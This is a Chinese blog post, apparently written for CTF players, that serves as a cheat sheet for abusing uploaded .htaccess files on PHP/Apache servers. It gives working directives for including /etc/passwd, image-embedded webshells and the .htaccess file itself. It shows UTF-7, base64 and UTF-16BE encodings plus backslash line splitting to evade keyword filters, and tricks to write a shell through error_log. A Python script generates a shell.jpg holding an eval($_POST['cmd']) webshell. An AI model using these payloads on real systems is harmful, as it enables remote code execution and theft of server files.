Toc
  1. 前言
  2. 方法
    1. 文件头
    2. auto_prepend_file或auto_append_file
      1. 绕过php关键字过滤
      2. utf-7编码
      3. base64
      4. utf-16be
    3. 设定额外的php文件类型
    4. 利用error_log和utf-7写shell
    5. 利用php_flag爆出php源码
  3. 绕过
    1. 利用反斜杠换行
Toc
0 results found
Rayi
htaccess文件上传利用
2020/09/10

前言

有不少题目都是用了黑名单过滤,落下的htaccess

有的题目还对上传文件的内容进行检查,检查是否含有php关键字

这时候就需要用到htaccess的骚操作进行绕过了

方法

文件头

如果有的题目会对文件的文件头进行检查,例如用exif_imagetype检查是否为图片类型,对于.htaccess来说,不能简单的加上GIF89a等文件头直接绕过,因为这会造成.htaccess文件格式不正确,无法解析,这时候我们就可以用以下方法进行绕过

在htaccess文件头部添加:

#define width 1337
#define height 1337

或:

利用16进制编辑器添加:

x00x00x8ax39x8ax39

auto_prepend_fileauto_append_file

相当于在当前目录下面所有php文件的开头或结尾加载引用了一个文件

类似于require xxx

访问htaccess文件所在目录的php文件时,Apache会将指定文件载入到php文件前或后,这时php文件执行时就会将我们载入的文件内容与原本的php代码一起执行

如果所在目录没有php文件,则可以使用AddType application/x-httpd-php .xxx

经过测试,这种方式加载的文件,有点类似html文件,文件内如果有html标签,js脚本或者php脚本,会直接被执行,而不符合这些规则的文本,内容会被直接展示

加载文件时会自动转义特殊字符,要特别注意

image-20200910180932993

可以任意文件读取

php_value auto_append_file "/etc/passwd"

image-20200910181020755

可以包含利用图片马

php_value auto_prepend_file 1.jpg
php_value auto_append_file 1.jpg

可以包含自己

php_value auto_append_file .htaccess
#<?php phpinfo(); ?>

当然,也可以使用php伪协议

#双引号可加可不加
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=/var/www/html/1.txt"

image-20200910164337534

远程包含似乎在php5以上版本并不能成功

#测试未成功
php_flag allow_url_include 1
php_value auto_append_file http://xxx/1.txt

php_flag allow_url_include 1
php_value auto_append_file "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw=="

image-20200910182813688

image-20200910182854772

绕过php关键字过滤

utf-7编码

AddType application/x-httpd-php .gif
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs

image-20200910164045392

base64

php_value auto_append_file "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw=="
AddType application/x-httpd-php .gif
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=/var/www/html/shell.gif"

shell.gif为:

shell使用base64编码,注意此时如果使用GIF89a的话,记得补齐8位

GIF89a12
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2EnXSk7Pz4=

utf-16be

AddType application/x-httpd-php .jpg
php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
	phpfile = open(filename, 'wb') 
	phpfile.write(script.encode('utf-16be'))
	phpfile.write(SIZE_HEADER)
	phpfile.close()
def generate_htacess():
	htaccess = open('.htaccess', 'wb')

	htaccess.write(SIZE_HEADER)
	htaccess.write(b'AddType application/x-httpd-php .jpg\n')
	htaccess.write(b'php_value zend.multibyte 1\n')
	htaccess.write(b'php_value zend.detect_unicode 1\n')
	htaccess.write(b'php_value display_errors 1\n')

	htaccess.close()		
generate_htacess()
generate_php_file("shell.jpg", "<?php eval($_POST['cmd']);  ?>")

设定额外的php文件类型

相当于增加了可执行的php文件类型

利用

AddType application/x-httpd-php .jpg

即可让图片变成php程序

或者

<FilesMatch ".+\.gif$">
SetHandler application/x-httpd-php
</FilesMatch>

<FilesMatch ".+\.txt$">
SetHandler php5-script
</FilesMatch>

或者

AddHandler php5-script .txt
AddHandler application/x-httpd-php .txt

利用error_logutf-7写shell

php_value error_log /var/www/html/shell.php
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

利用php_flag爆出php源码

其实就是设置这个目录不执行php

php_flag engine 0

image-20200910193822850

绕过

有的题目过滤了php关键字,这时候我们就要对htaccess文件做点手脚

利用反斜杠换行

htaccess文件有换行的时候也会正常执行

#define width 1337
#define height 1337 
AddType application/x-httpd-p
\hp .jpg
ph
\p_value auto_append_file "p
\hp://filter/convert.base64-decode/resource=/var/www/html/shell.jpg"

注意反斜杠添加的位置

有可能会过滤多个关键字,这时候就得在多个地方添加反斜杠

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!